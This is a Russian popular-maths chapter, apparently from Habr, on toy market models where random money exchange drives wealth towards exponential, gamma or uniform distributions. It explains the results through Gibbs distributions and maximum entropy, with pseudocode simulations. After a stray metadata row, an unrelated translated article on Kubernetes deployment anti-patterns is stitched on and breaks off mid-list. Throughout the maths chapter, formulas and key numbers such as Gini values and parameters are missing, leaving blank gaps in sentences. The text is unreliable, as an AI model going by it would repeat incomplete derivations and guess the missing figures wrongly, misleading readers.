Мы в дальнейших рассуждениях будем говорить о деньгах, но эта привычная повседневно используемая категория на удивление сложна и неоднозначна. Смысл и ценность денег зависит от множества факторов, и называя вне контекста некую денежную сумму, мы ничего не говорим о её реальной ценности. Это отличает денежные величины от большинства физических величин, описывающих наш мир и здорово мешает проводить строгие рассуждения в экономике. Но цель нашего разговора: математические основы законов подлости, повседневных, понятных и простых. Поэтому в дальнейшем мы будем говорить о неких «рублях», имея в виду формальный билетик или монетку, и подразумевая, что чем больше этих «рублей» у кого-то, тем он «богаче». Прочие же рассуждения о покупательской способности, нематериальных или неликвидных ценностях, о «не в деньгах счастье», наконец, мы оставим за рамками разговора.
### Подходите, всем хватит!
Начнём с анализа справедливости некоторых простых стратегий раздачи известного количества денег конечной группе людей.
Первая, самая очевидная стратегия: «взять всё, да и поделить», то есть выделить каждому члену группы по равной доле общей суммы. Такое распределение называется *вырожденным*, оно имеет индекс Джини равный нулю и соответствует кривой равенства на диаграмме Лоренца.
*Абсолютно справедливое вырожденное распределение денег: у всех всё поровну.*
Прекрасный вариант! Назовём его *«стратегией Шарикова»* в честь героя повести Михаила Булгакова «Собачье сердце», который именно таким способом предлагал решить все экономические вопросы.
Вторая, более реалистичная стратегия заключается в многократной раздаче всем по одному рублю в случайном порядке. Кому как повезёт. Можем назвать эту стратегию *«пуассоновской»*, поскольку именно таким образом распределяются по временной шкале независимые случайные события в процессе Пуассона. Для группы из  человек вероятность каждого из участников получить рубль составляет . После раздачи таким образом  рублей, каждый должен получить сумму равную количеству таких «положительных» исходов. Функция вероятности для подобной суммы хорошо известна — это *биномиальное распределение*, похожее на колокол, симметрично разбегающийся вокруг среднего значения . Обычно с ним знакомят на примере вычисления вероятности получить указанную сумму, бросая игральные кости. Для больших значений  биномиальное распределение становится практически неотличимым от нормального. Давайте посмотрим как будет меняться, по мере раздачи денег, распределение денег в группе и его справедливость.
*Результатом раздачи денег по принципу «на кого бог пошлёт» является биномиальное распределение. Чем больше денег мы раздаём, тем больше становится значение среднего и разброс, но вероятность не получить ничего практически исчезает.*
**Алгоритм пуассоновской стратегии**
> **Исходные данные**: `xs` — массив из `n` элементов, заполненный нулями, `M` — общее количество денег в системе.
>
>
>
>
> ```
> Повторить M раз
> i <- случайное целое от 1 до n
> xs[i] <- xs[i] + 1
>
> ```
>
Это распределение, с точки зрения справедливости, очень неплохо выглядит, более того, оно становится тем справедливее, чем больше денег мы раздаём публике! Просто замечательно! Жаль, что общество устроено не так и дождь из денег не сыплется на всех нас поровну.
Для полноты картины, давайте рассмотрим ещё одно простое искусственное распределение денег — *равномерное*. При таком распределении бедных будет столько же сколько и богатых.
*Равномерное распределение не означает, что деньги распределяются по всем равномерно. При таком распределении число богатых, бедных и середнячков одинаково, но деньги в основном принадлежат богатым.*
**Алгоритм стратегии равномерной раздачи**
> **Исходные данные**: `xs` — массив из `n` элементов, заполненный нулями, `M` — общее количество денег в системе.
>
>
> ```
> Для каждого элемента x из массива xs
> x <- случайное целое от 0 до M/n
>
> ```
>
Для равномерного распределения кривая Лоренца представляет собой квадратичную параболу, а если левая граница распределения равна нулю, то эта парабола независима от положения правой границы, и индекс Джини для всех таких распределений равен в точности . Такое значение индекса (но не такое распределение!) был, например у экономики Австралии в 2000-е годы — это вполне неплохой показатель.
Однако рынок есть рынок! Рассмотренные выше распределения хороши, но требуют специальных условий для своего возникновения. Если дать людям волю обмениваться деньгами, менять деньги на услуги, копить их и проматывать в одну ночь, идеальные распределения потеряют устойчивость и превратятся в какие-нибудь другие.
### Новая экономическая политика!
Рассмотрим группу из  человек. В результате революции раздадим всем участникам эксперимента по равной денежной сумме — по  рублей каждому, получив самое справедливое шариковское распределение средств в обществе. Теперь предоставим им свободу богатеть и беднеть по воле собственной судьбы и построим примитивную модель рынка. Попросим кого-нибудь, случайно выбранного, отдать один рубль любому человеку из группы, так же выбранному случайно. Скажем, что это приобретение некой услуги по фиксированной цене. Распределение богатства ожидаемо изменится: у кого-то денег станет меньше, у кого-то больше. Станем повторять процедуру обмена снова и снова и посмотрим на то, как будет изменяться распределение богатства в группе.
Разумно перед проведением эксперимента поразмыслить, что же мы ожидаем увидеть. Обмен деньгами между участниками происходит равновероятно, как в случае пуассоновской стратегии раздачи денег, но в тоже время игроки и теряют деньги, причём по такому же пуассоновскому принципу и с такой же интенсивностью. Таким образом, можно предположить, что как положительные, так и отрицательные приращения будут нормально распределены и расположены симметрично относительно нуля. Каждый игрок, в конечном итоге, будет получать разность этих приращений, которая для двух нормально распределённых случайных величин будет тоже нормально распределена, в данном случае, вокруг нуля, так как потери и выигрыши симметричны.
*После множества обменов каждый игрок получит и потеряет сумму, подчиняющуюся распределению, близкому к нормальному. Суммарный доход также будет нормально распределён вокруг нуля.*
Таким образом, мы получаем классическое случайное блуждание с нормально распределёнными приращениями и можем ожидать некой диффузии средств вокруг среднего значения . Функция вероятности должна размываться, увеличивая дисперсию при неизменном среднем значении. Вроде бы, всё просто.
Но есть нюанс. Если, по каким-то причинам, у кого-либо из группы не осталось средств, он не сможет приобретать услуги, отдавая деньги, но, в тоже время, может их получать. Возможное значение благосостояния ограничено слева нулём, а значит диффузия богатства не сможет распространяться бесконечно и наблюдаемая функция вероятности, рано или поздно, перестанет быть симметричной.
Есть ещё один нюанс. Количество денег в нашей замкнутой системе ограничено и неизменно, это значит, что случайные блуждания не независимы. Какой-нибудь везучий игрок сможет получить очень большие суммы и уйти от ансамбля очень далеко, но только если общая масса обеднеет. Участников эксперимента стягивает невидимой сетью закон сохранения денег в системе. К чему же будет стремиться распределение денег таких условиях? Похоже, ответ не столь очевиден, как может показаться на первый взгляд, давайте обратимся к имитационному моделированию и посмотрим что у нас получится.
*Результат имитационного моделирования для обмена равным количеством денег для  и . Сначала, действительно, наблюдается явление, подобное диффузии, но по мере достижения функцией вероятности левой границы, распределение стремится к характерной несимметричной и не очень справедливой форме с коэффициентом Джини близкому к .*
**Алгоритм обмена равными суммами**
> **Исходные данные**: `xs` — массив из `n` элементов, инициализированный значениями `m`.
>
>
> ```
> Повторять
> i <- случайное целое от 0 до n
> если xs[i] > 0
> j <- случайное целое от 0 до n
> xs[i] <- xs[i] - 1
> xs[j] <- xs[j] + 1
>
> ```
>
Если эту книжку читает физик, то он сможет уверенно предположить что это может быть за распределение, он назовёт его распределением Гиббса. Внимательный читатель может вспомнить, что мы уже встречались с подобной картинкой и с таким индексом Джини, когда рассматривали фрустрацию во время ожидания автобуса. Тогда мы рассматривали распределение интервалов между пуассоновскими событиями, которое описывалось экспоненциальным распределением. Оба этих проницательных господина будут правы, называя разными именами одно и то же замечательно распределение.
### Люди — молекулы
*Распределение Гиббса* — это из области статистической физики. Здесь описываются свойства систем, называемых красивым словом «ансамбль», которые состоят из великого множества взаимодействующих элементов, чаще всего, частиц. В ансамбле можно выделять произвольные подсистемы (например, отдельные частицы или их группы) и ставить им в соответствие некие функции состояния (это могут быть обобщённые координаты, скорости, концентрации, химические потенциалы и многое другое). С помощью методов статистической физики удаётся объяснить и вычислить параметры самых разнообразных явлений: химических и каталитических процессов, турбулентности, ферромагнетизма, поведения жидких кристаллов, сверхтекучести и сверхпроводимости и многих других.
Распределение Гиббса отвечает на вопрос: какова вероятность встретить некое состояние подсистемы, если даны а) энергия состояния, б) макроскопические (условно говоря, глобальные) свойства системы, такие, например, как температура и в) известно, что система находится в термодинамическом равновесии? Оно может быть схематично выражено следующим образом: 
где  — некое состояние подсистемы,  — энергия этого состояния,  — абсолютная температура системы (или её аналог), а  и  — величины, необходимые для нормировки и соответствия размерностей. Условие равновесия очень важно, оно означает, что из рассмотрения исчезает время и что вся система окажется в наиболее вероятном своём состоянии для заданных условий.
Строгий вывод выражения для распределения Гиббса нам здесь не нужен, вместо него я хочу показать красивейшее чисто математическое рассуждение, приводящее к его экспоненциальной форме. Поскольку рассматриваются части системы, которые в сумме дают всю систему, то и в качестве их характеристики стоит выбрать какую-либо *аддитивную* величину, то есть такую, чтобы её значение для ансамбля было арифметической суммой значений его частей. В качестве такой величины в механике можно использовать энергию. С другой стороны, мы вычисляем вероятность наблюдать некоторое состояние системы, а вероятность величина *мультипликативная*, то есть, если систему можно разбить на части, то вероятность наблюдать все эти части одновременно будет равна произведению вероятностей для состояния каждой из частей. Таким образом, нам нужна функция, превращающая аддитивную величину в мультипликативную. Таким свойством обладает только показательная функция , сумму аргументов превращает в произведение значений:  Ну, а из всех показательных функций, наиболее удобной является экспонента, поскольку она очень хорошо ведёт себя при интегрировании и дифференцировании.
В нашей модели рынка мы имеем аддитивную величину — количество денег у каждого игрока, это аналог энергии. При описанном нами обмене, эта величина, как и энергия в физической системе, сохраняется. А какой смысл здесь у температуры? Это просто выяснить, посмотрев на выражение для плотности вероятности экспоненциального распределения: 
и вспомнив, что среднее значение для него равно . Так как число игроков в ходе торгов неизменно, то сохраняется и среднее арифметическое количество денег у игроков, равное первоначально раздаваемой сумме . Отсюда естественным образом следует, что , значит в роли температуры в нашей экономической модели выступает среднее количество денег у игроков. В «разогретом» рынке с большой ликвидностью мы сможем наблюдать и больший разброс в уровне благосостояния, чем в «холодном», ведь в экспоненциальном распределении дисперсия равна . Как говорил Остап Бендер в «Золотом Телёнке» И. Ильфа и Е. Петрова: «Раз в стране бродят какие-то денежные знаки, то должны быть люди, у которых их много.»
Если быть совсем точным, и вспомнить, что деньги в нашем эксперименте это величина дискретная, то мы наблюдаем *геометрическое* распределение — дискретный аналог экспоненциального. Оно встречается в задаче подсчёта числа неудач до первого выигрыша при подбрасывании монеток разной степени честности. Эти два распределения подобны и становятся неотличимы при уменьшении вероятности выигрыша. В нашем эксперименте шансы получить рубль равны , это достаточно мало для того, чтобы называть распределение экспоненциальным.
Осталось разобраться с равновесностью итогового состояния рынка. Термодинамическое равновесие можно описать разными способами. Во-первых, равновесным должно быть *стационарное* состояние, в котором система может находиться неограниченно долго, не изменяя своих макроскопических параметров, и не образуя внутри себя упорядоченных потоков вещества и энергии. Во-вторых, оно должно быть *устойчивым*, то есть, если вывести систему из равновесия, она будет стремиться к нему вернуться. В-третьих, это наиболее вероятное состояние системы, чаще всего наблюдаемое, в которое со временем система будет стремиться попасть из любого другого, неравновесного. Наш эксперимент демонстрирует эти критерии равновесности: придя к экспоненциальному распределению, система в нём и остается, к тому же, в эксперименте легко убедиться, что из любого произвольного распределения мы, по истечении какого-то времени, снова придём к экспоненциальному. Но это ещё не доказательство, а только намёк, что мы, скорее всего, имеем дело с равновесием. Нужен какой-то формальный измеримый критерий, который однозначно указал бы нам, что система равновесна без необходимости ждать бесконечно долго или перебирать все возможные первоначальные распределения. Это был бы полезный критерий, который можно было бы применять и к реальному рынку, без необходимости проводить рискованные эксперименты на живых людях.
### Дао выраженное словами — не истинное Дао
Размышления о равновесии привели физиков к понятию *энтропии*, которое постепенно вышло за пределы термодинамики и так понравилось ученым всех направлений, философам и широкой публике, что теперь энтропия получила ореол загадочности, непостижимости и бог знает ещё чего. Простое и специальное, в сущности, понятие приобрело в сознании широких масс репутацию необъяснимо управляющей миром концепции. Это связано с тем, что термодинамика — универсальная наука, описывающая на очень высоком уровне абстракции системы самой разнообразной природы: от физических, химических и биологических до социальных, экономических и даже чисто гуманитарных. После школьного курса, правда, остаётся ощущение, что термодинамика — это про скучный идеальный газ, какие-то поршни и невозможный цикл Карно. Такое весьма одностороннее представление связано с тем замечательным фактом, что термодинамика, будучи одной из самых абстрактных и универсальных разделов естествознания, элегантно решает прикладные задачи, понятные школьникам и полезные в промышленности. Этого не скажешь, например, о теории категорий или топологии — тоже весьма абстрактных, универсальных и, несомненно, полезных дисциплинах, но в повседневных задачах почти не встречающихся.
Итак, энтропия. Создателю термодинамики Клаузиусу, а позже Гиббсу и Больцману потребовалась количественная характеристика равновесности, говорящая о вероятности наблюдать указанное состояние системы или её частей. Причём, эта величина, отражающая вероятность, мультипликативную по своей природе, должна быть аддитивной функцией состояния, чтобы можно было бы вычислить её для системы, складывая значения, вычисленные для её частей. Когда мы искали подходящую функцию для распределения Гиббса, мы исходили из того, что она должна превращать аддитивный аргумент в мультипликативное значение. При поиске выражения для энтропии мы нуждаемся в функции, мультипликативной по аргументу и аддитивной по значению — это логарифмическая функция, обратная показательной. Энтропия состояния сложной системы может быть выражена как ожидаемое значение для логарифма вероятности наблюдения состояния всех её частей, или, по Больцману, как логарифм числа способов, которым можно реализовать это состояние системы. При этом более вероятному состоянию соответствует большее значение энтропии, а равновесному — максимальное из возможных.
Число способов реализовать то или иное состояние зависит и от числа ограничений или условий, при которых это состояние может реализоваться. Чем меньше таких ограничений, тем более вероятным является состояние и тем больше значение его энтропии. Эти ограничения и условия имеют смысл *информации* о состоянии. Отсюда возникла идея о том, что энтропия отражает степень нашего незнания о системе: чем меньше нам о состоянии известно, тем больше его энтропия. Позже Шеннон обобщил это понятие для любых систем, содержащих в себе информацию, в том числе и для распределений случайных величин. Вот что у него получилось: для случайной величины , определяемой функцией вероятности  энтропия определяется следующим образом:
где суммирование производится по всем значениям , в которых . Таким образом, мы имеем возможность вычислить энтропию состояния любой сложной системы, имея её статистическое описание.
Вот как изменяется энтропия по мере того как модель нашего рынка приходит к равновесию.
*Рост энтропии по мере приближения рынка к равновесному состоянию. Горизонтальной линией на правом графике показано теоретическое значение энтропии для экспоненциального распределения, равное . Промежуточная «полочка» соответствует периоду, в течение которого распределение проходило стадию диффузии и было похоже на нормальное.*
Таким образом, каждому распределению: задаваемому аналитически или полученному экспериментально в виде гистограммы, можно поставить в соответствие положительное число — его энтропию. Значит распределения можно сравнивать между собой, определяя более или менее равновесные и вероятные для заданных условий. Более того, для некоторого класса распределений можно выделить распределение с максимальной энтропией, причём, только одно. Классы определяются ограничениями, или мерой нашего знания о статистических свойствах системы. Приведём несколько примеров:
| что нам известно о случайной величине $X$ | распределений с максимальной энтропией |
| --- | --- |
| $X\in[a,b]$ | равномерное на отрезке $[a,b]$ |
| $X\in\{0,1\}$ | распределение Бернулли |
| $X\in[0,\infty)$ + среднее | экспоненциальное, для дискретной величины — геометрическое |
| $X\in[x_m,\infty)$ + среднее геометрическое | распределение Парето (степенное) |
| $X\in[0,\infty)$ + среднее + среднее геометрическое | гамма-распределение |
| $X\in[0,\infty)$ + среднее геометрическое + дисперсия для среднего геометрического | лог-нормальное |
| $X\in(-\infty,\infty)$ + среднее + дисперсия | нормальное |
Знакомые всё лица! Это очень часто используемые распределения, которые статистики применяют к широчайшему классу задач. Их универсальность обусловлена именно тем, что они, имея максимальную энтропию, наиболее вероятны и наблюдаемы. К ним, как к равновесным, стремятся многие распределения реальных случайных величин. Самым свободным от ограничений среди всех прочих является нормальное распределение: оно требует минимума информации о случайной величине. Меньше уже не получится: если мы укажем лишь среднее значение, то стремясь увеличить энтропию, распределение «размажется» по всей числовой оси. Зато, если мы знаем лишь среднее значение, но при этом ограничим случайную величину положительными значениями, то равновесное распределение будет однозначным — экспоненциальным. Именно этот случай мы и наблюдали в нашем эксперименте с рынком. Нам заранее было известно лишь сколько денег мы выдали каждому игроку и то, что количество денег в системе неизменно, это фиксировало среднее значение. А так как деньги у нас величина положительная, вероятнее всего, в равновесии мы получим экспоненциальное распределение богатства с индексом Джини равным .
Существует множество модификаций описанной нами модели: обмен может происходить не одним рублём, а случайной величиной, ограниченной состоянием дающего, при этом можно давать деньги не какому-то одному игроку, а распределять случайным образом. Пока мы не вводим в игру новых параметров все эти модификации не меняют форму равновесного распределения богатства — оно остаётся экспоненциальным. В этом можно убедиться с помощью имитационного моделирования, но приводить картинки для различных способов обмена не интересно — они все одинаковы. Многие исследователи отмечали эту особенность моделей рынка. Интересна модель построенная Драгулеску и Яковенко из Мерилендского университета, в которой игроков объединяют в некие компании и далее имитируется взаимодействие компаний с игроками-работниками и игроками-покупателями. Но и в этом сложном случае равновесным является экспоненциальное распределение, безразличное к выбираемым параметрам модели.
Чтобы продемонстрировать универсальность принципа максимума энтропии давайте искусственно ограничим сверху уровень богатства отдельного игрока, запретив ему получать деньги, если у него уже есть некая фиксированная сумма. Равновесное распределение, конечно же, изменится. А в случае, если правая граница будет равна удвоенному среднему значению, то мы приходим к случаю, описанному в первом ряду таблицы. Действительно, ограничивая случайную величину конечным отрезком и не указывая больше ничего, мы не можем предположить никакого другого ожидаемого значения среднего, кроме середины этого отрезка. Следовательно, равновесным распределением при таком варианте должно быть равномерное. Давайте проверим, так ли это?
*Вот что происходит при ограничении сверху возможного уровня богатства игроков, причём, таким образом, что верхняя граница ровно вдвое превышает среднее значение. Согласно принципу максимальной энтропии, равновесным распределением должно быть равномерное. Горизонтальной линией на правом графике показано теоретическое значение энтропии для равномерного распределения.*
**Алгоритм обмена равными суммами с ограничением сверху**
> **Исходные данные**: `xs` — массив из `n` элементов, инициализированный значениями `m`, `xMax` — максимальная разрешённая сумма.
>
>
>
>
> ```
> Повторять
> i <- случайное целое от 0 до n
> если xs[i] > 0
> j <- случайное целое от 0 до n
> если xs[j] < xMax
> xs[i] <- xs[i] - 1
> xs[j] <- xs[j] + 1
>
> ```
>
А что будет при нарушении симметрии, то есть, если мы сдвинем правую границу вправо или влево?
<\br>
*Варианты несимметричных ограниченных распределений в сравнении с распределениями Бернулли, соответствующими смещению среднего значения. Горизонтальные линии на графиках энтропии указывают теоретические значения для энтропии распределений Бернулли.*
Распределение достатка перестало быть равномерным, приобретя форму ограниченного экспоненциального. При смещении правой границы влево в равновесии богатых игроков стало больше, чем бедных. Если мы «загрубим» гистограмму, оставив лишь два столбца, то получим распределение Бернулли, показывающее какова вероятность оказаться условно «бедным» или «богатым». Когда значения случайной величины ограничены всего двумя значениями, распределение Бернулли — единственный выбор, он же, естественно, доставляет максимум энтропии. Но обратите внимание на то, что энтропия наших модельных распределений стремится именно к тем значениям, которые предсказываются распределением Бернулли. Коэффициенты Джини для двух этих случаев равны  и , соответственно.
Загадочная и могущественная энтропия — это, конечно, круто и, возможно, даже убедительно. Но почему же при симметричном обмене, бедных становится больше, чем богатых? Почему мода равновесного распределения равна нулю? Надо, как говорят физики, разобраться в кинетике процесса, то есть в судьбе отдельных частиц. Мы не ошиблись, предположив, что модель случайного блуждания описывает изменение состояния отдельного участника торгов: он с равной вероятностью совершает шаги как вверх, так и вниз. А для случайного блуждания выполняется один знаменитый закон подлости: проклятие игрока. Напомню, что он состоит в том, что при достаточно долгом наблюдении, случайно блуждающая частица обязательно окажется в любом наперёд указанном месте. Причём расстояние на которое частица удалится от какой-либо начальной точки пропорционально квадратному корню от числа шагов. Всё это приводит к тому, что если частица начинает свой путь вблизи нуля, то она с высокой вероятностью его достигнет, а так как ноль в нашей задаче — это непроницаемая граница, то она будет вынуждена вновь и вновь начинать свой путь около нулевой точки, испытывая пресловутое проклятие. По мере удаления частицы от нуля, вероятность к нему вернуться уменьшается и у богатых становится больше шансов сберечь своё состояние. Но тогда что же мешает частице удалиться сколь угодно далеко, а конкретному игроку стать сколь угодно богатым? Вообще-то, ничего, кроме конечности денег в системе — экспоненциальное распределение отлично от нуля на всей положительной полуоси. Но для того чтобы достичь невероятного богатства по правилам нашей игры нужно чтобы все игроки случайно выбирали одного и того же игрока раз за разом. И в первый-то раз вероятность такого выбора составляет  — одна миллиардная для группы из десяти человек, а уж случайно повторить это много раз и вовсе невероятно. Выбор кому отдать деньги в нашей модели падает на всех одинаково, а это значит, что доставаться он будет не только богатым, но и бедным. Есть в этом мире справедливость! Хоть и торжествующая недолго, если ты не богат.
### Экономика должна быть экономной
Покуда наша модель обмена никак не учитывает достатка игроков, она остаётся нереалистичной. В действительности, богатые тратят больше, а бедные меньше, более того, разумные люди стараются сохранить какую-то часть своего состояния. В качестве следующего усложнения модели, давайте потребуем, чтобы игроки при обмене отдавали некую известную долю  своего состояния. В систему вводится новый параметр и новое ограничение, следовательно, равновесное состояние может отклониться от экспоненциального. Оперируя долями от уровня благосостояния, мы переходим к мультипликативным характеристикам, таким, например, как доходность вложения, возврат инвестиций и т.д. Во всех учебниках по экономике указывается, что если вы желаете вычислить среднюю доходность вложения, скажем, за много лет, следует вычислять среднее геометрическое для доходностей каждого года. В нашем случае среднее геометрическое однозначно, хоть и нетривиально, определяется значением . Таким образом, добавляя новый параметр мы фиксируем среднее геометрическое распределения дохода игроков, или среднюю доходность модели рынка. Значит, мы можем ожидать, что равновесное распределение богатства должно неплохо описываться гамма-распределением. В этом мы можем убедиться, проведя имитационное моделирование.
*Если расходы при обмене пропорциональны достатку равновесное распределение стремится к характерному несиметричному колоколообразному гамма-распределению. В данной модели . Средняя доходность обмена составила .*
**Алгоритм пропорционального обмена**
> **Исходные данные**: `xs` — массив из `n` элементов, инициализированный значениями `m`, `alpha` — доля капитала, которая тратится при обмене.
>
>
>
>
> ```
> повторять
> i <- случайное целое от 0 до n
> если xs[i] > 0
> dx <- floor(xs[i]*alpha)
> xs[i] <- xs[i] - dx
> j <- случайное целое от 0 до n
> xs[j] <- xs[j] + dx
>
> ```
>
Уменьшение доли бедняков связано с тем, что они тратят в среднем меньше, чем получают от богатых, ведь и те и другие обмениваются долями своего капитала. Но этот социальный лифт действует только при . Если тратить больше половины того, что имеешь, вероятность оказаться в бедняках становится весьма ощутимой. Для различных значений  можно получить весьма различающиеся по форме распределения с широким диапазоном несправедливости:
*Различные варианты равновесных распределений при расходах, пропорциональных достатку. Графики помечены значениями , а на правом графике в скобках приведены ещё и значения индекса Джини.*
**Точное решение**Эта книжка, хоть и популярная, но математическая. Это значит, что все математические результаты, попавшие на её страницы, имеют доказательства или строгий вывод, пусть, зачастую, остающиеся и за пределами изложения ввиду их громоздкости. И хотя для дальнейшего изложения этот результат не нужен, я приведу точное, и довольно изящное выражение для распределения, которое удалось получить для модели пропорционального обмена.
Гамма-распределение  — это двухпараметрическое распределение, которое часто используется, как обобщение экспоненциального и сводится к нему при . Оно имеет ряд замечательных свойств, делающих его полезным. Об одном из них, мы уже говорили — это распределение с максимальной энтропией в своём классе. Другое важное свойство — *бесконечная делимость*, то есть гамма-распределение можно получить, как сумму случайных величин, тоже подчиняющихся гамма-распределению. Конкретнее,
Наконец, это распределение масштабируемо:
Эти свойства позволили получить распределение благосостояния для нашей модели со средним значением  и коэффициентом : .
Видно, что чем большую часть своего капитала игроки вынуждены тратить (например, на повседневные нужды или еду), тем больше становится доля бедных и тем менее справедливым становится общество. Любопытно, что при  равновесное распределение становится экспоненциальным, как в модели при равном обмене. Экспоненциальное распределение является частным случаем гамма-распределения, так что это превращение, само по себе, неудивительно. Но тут есть одна любопытная тонкость: энтропия этого частного случая больше чем энтропия распределений с любыми другими значениями . Посмотрите, как изменяется энтропия по мере развития ситуации при :
*В процессе перехода к равновесию, система «проскакивает» состояние с максимальной энтропией.*
Сначала значение энтропии монотонно увеличивается, потом, немного не достигая теоретического максимума, соответствующего экспоненциальному распределению, останавливается и начинает уменьшаться. Нет ли в этом противоречия с определением равновесного состояния, как состояния с максимумом энтропии? Противоречия нет, поскольку равновесное состояние должно быть стационарным, то есть не создающим направленных потоков энергии и устойчивым, или, говоря языком теории динамических систем, притягивающим к себе систему. И из всех стационарных равновесным будет состояние с максимальной энтропией. А в нашем случае , экспоненциальное распределение соответствует нестационарному состоянию.
Исследователи из Бостонского университета Исполатов и Крапивский усложнили модель пропорционального обмена таким образом, что обмен происходит с учётом не только благосостояния тратящего, но и получающего. Миллионер редко покупает что-либо у зеленщика, и зеленщик нечасто имеет большой доход, с другой стороны, производитель автомобилей экстра класса будет взаимодействовать лишь с богатыми клиентами, но и сам останется не в накладе. И вот, в моделях, в которых богатые начинают платить преимущественно богатым, а бедные — бедным, общество разваливается окончательно.
*Если денежные потоки становятся зависимы от капитала, система теряет устойчивость и приводит к постоянному обнищанию группы и нарастанию классового неравенства. В этом примере  (см. алгоритм внизу).*
**Алгоритм пропорционального обмена Исполатова-Крапивского**
> **Исходные данные**: `xs` — массив из `n` элементов, инициализированный значениями `m`, `alpha` — доля капитала, которая тратится при обмене, `beta` — доля капитала, приобретаемого при обмене.
>
>
>
>
> ```
> повторять
> i <- случайное целое от 0 до n
> если xs[i] > 0
> dx <- floor(xs[i]*alpha)
> xs[i] <- xs[i] - dx
> повторять пока dx > 0
> j <- случайное целое от 0 до n
> d = min(dx, floor(xs[j]*beta))
> xs[j] <- xs[j] + d
> dx <- dx - d
>
> ```
>
В этой системе существует только одно стационарное состояние: когда все игроки не имеют (и следовательно не получают) ровным счётом ничего, а всё богатство достаётся кому-нибудь одному. Коэффициент Джини в таком состоянии практически равен единице, и оно очень далеко от нормального равновесного — его энтропия почти равна нулю. Спасти положение может ограничение снизу, запрещающее игрокам терять абсолютно все сбережения, и в этом случае равновесное распределение становится снова экспоненциальным либо гамма-образным. Можно также ввести ограничение сверху — тогда мы получим некое несимметричное распределение, соответствующее распределению Бернулли. Модель такого дикого рынка вполне применима к рынку ценных бумаг без каких-либо ограничений, но на реальных биржах с этим борются, вводя ограничения на объем сделок, совершаемых за день и на максимальные уровни роста или падения цены на тот или иной актив.
Всё это печальные выводы, говорящие не в пользу свободного рынка, то ли дело, модель, предложенная Шариковым! А какова же энтропия у вырожденного распределения? Согласно стандартной формуле, она в точности равна нулю. Это самое неравновесное, самое маловероятное распределение, и в любой модели обмена оно нестационарно, так что получить подобное общество можно только искусственно. Дикий рынок, конечно, не подарок — он неустойчив и тяготеет к вопиющему неравенству. Требуется множество взаимосогласованных ограничений и тонко настроенных связей для построения устойчивого рынка и более или менее справедливого общества. Человечество исследует этот вопрос ещё не очень долго и в основном, на ощупь, методом проб и ошибок, но одно ясно: несправедливость в экономическом пространстве — не следствие поганой человеческой натуры, а объективное свойство системы, частью которой мы все являемся. Более того, попытки создать абсолютную справедливость по-шариковски всегда проходили с с боем и кровью, а результаты, в силу её неравновесности, существовали недолго.
Вряд ли молекулы и атомы рассуждают о несправедливости своего мира, да и физики с инженерами за двести лет смирились с тем, что какую бы идеальную тепловую машину они не построили, хаос не позволит преобразовать тепло в работу больше положенной доли. Когда понятно, то не так обидно. Надеюсь, эта глава поможет любопытному читателю понять и принять наш сложный несправедливый мир. | https://habr.com/ru/post/424071/ | null | ru | null |
# 10 антипаттернов деплоя в Kubernetes: распространенные практики, для которых есть другие решения
[*Rudder by sun-stock*](https://www.deviantart.com/sun-stock/art/Rudder-20343779)
Команда [Kubernetes aaS от Mail.ru Group](https://habr.com/ru/company/mailru/blog/519366/) продолжает серию переводов о правильном использовании Kubernetes. В этот раз — об антипаттернах разработки на Kubernetes с рекомендациями, как сделать по-другому.
Когда есть контейнеры, работающие в продакшен, нужно, чтобы продакшен-окружение оставалось стабильным и отказоустойчивым. Если один из контейнеров падает, нужно, чтобы в любое время ему на замену был запущен другой. Kubernetes предоставляет платформу для отказоустойчивой работы распределенных систем — от масштабирования до аварийного переключения и балансировки нагрузки. И есть много инструментов, которые интегрируются с Kubernetes, чтобы помочь вам в этом.
В этой статье рассмотрим десять распространенных практик развертывания Kubernetes, для которых есть другие решения. Автор не вдается в детали практик, поскольку реализация может различаться у разных пользователей.
### 1. Размещение файлов конфигурации внутри/рядом с образом Docker
Этот антипаттерн Kubernetes связан с антипаттерном Docker (см. антипаттерны 5 и 8 в этой [статье](https://codefresh.io/containers/docker-anti-patterns/)). Контейнеры дают разработчикам возможность использовать единый образ на протяжении всего жизненного цикла программного обеспечения, от разработки/контроля качества до подготовки к продакшен и деплоя в продакшен.
Однако общепринятой практикой является предоставление каждой фазе жизненного цикла собственных образов, каждый из которых построен с различными артефактами, характерными для его среды: контроль качества, stage или продакшен. Но тогда вы больше не деплоите то, что тестировали.
*Не включайте конфигурационные файлы в докер-образы (*[*отсюда*](https://codefresh.io/containers/docker-anti-patterns/)*)*
Лучшей практикой является хранение конфигурации общего назначения в [ConfigMaps](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/), в то время как конфиденциальная информация (например, ключи и секреты API) может храниться в ресурсе Secrets. Он имеет кодировку Base64, но в остальном работает так же, как ConfigMaps.
ConfigMaps можно [монтировать как тома](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/) или передавать как [переменные среды](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/), но [секреты](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/) следует монтировать как тома. Я упоминаю ConfigMaps и Secrets, потому что они являются собственными ресурсами Kubernetes и не требуют интеграции, но у них есть свои ограничения.
> Существуют и другие решения, такие как [ZooKeeper](https://zookeeper.apache.org/) и [Consul](https://www.consul.io/) от HashiCorp для ConfigMaps или [Vault](https://www.vaultproject.io/) от HashiCorp, [Keywhiz](https://square.github.io/keywhiz/) и [Confidant](https://lyft.github.io/confidant/) для секретов. Они могут лучше соответствовать вашим потребностям.
>
>
Если вы отделили конфигурацию от приложения, больше не нужно пересобирать приложение, когда нужно обновить конфигурацию. Ее можно обновлять во время работы приложения. Ваши приложения получают конфигурацию во время выполнения, а не во время сборки. Что еще более важно, вы используете один и тот же исходный код на всех этапах жизненного цикла программного обеспечения.
*Загрузка конфигурации во время выполнения (*[*отсюда*](https://codefresh.io/containers/docker-anti-patterns/)*)*
### 2. Работа без Helm или других шаблонизаторов
Вы можете управлять деплоем в Kubernetes, напрямую обновляя YAML. При развертывании новой версии кода вам, вероятно, придется обновить один или несколько ресурсов:
* Имя образа Docker.
* Тег образа Docker.
* Количество реплик.
* Сервисные метки.
* Поды.
* ConfigMaps и так далее.
Этот процесс может оказаться утомительным, если вы управляете несколькими кластерами и применяете одни и те же обновления в своих средах разработки, тестовой и производственной среде. Вы в основном изменяете одни и те же файлы с небольшими изменениями во всех ваших развертываниях. Здесь много операций копирования и вставки или поиска и замены, при этом нужно не забыть о среде, для которой предназначено ваше развертывание YAML.
В этом процессе есть много возможностей для ошибок:
1. Опечатки: неправильные номера версий, неправильное написание имен образов и так далее.
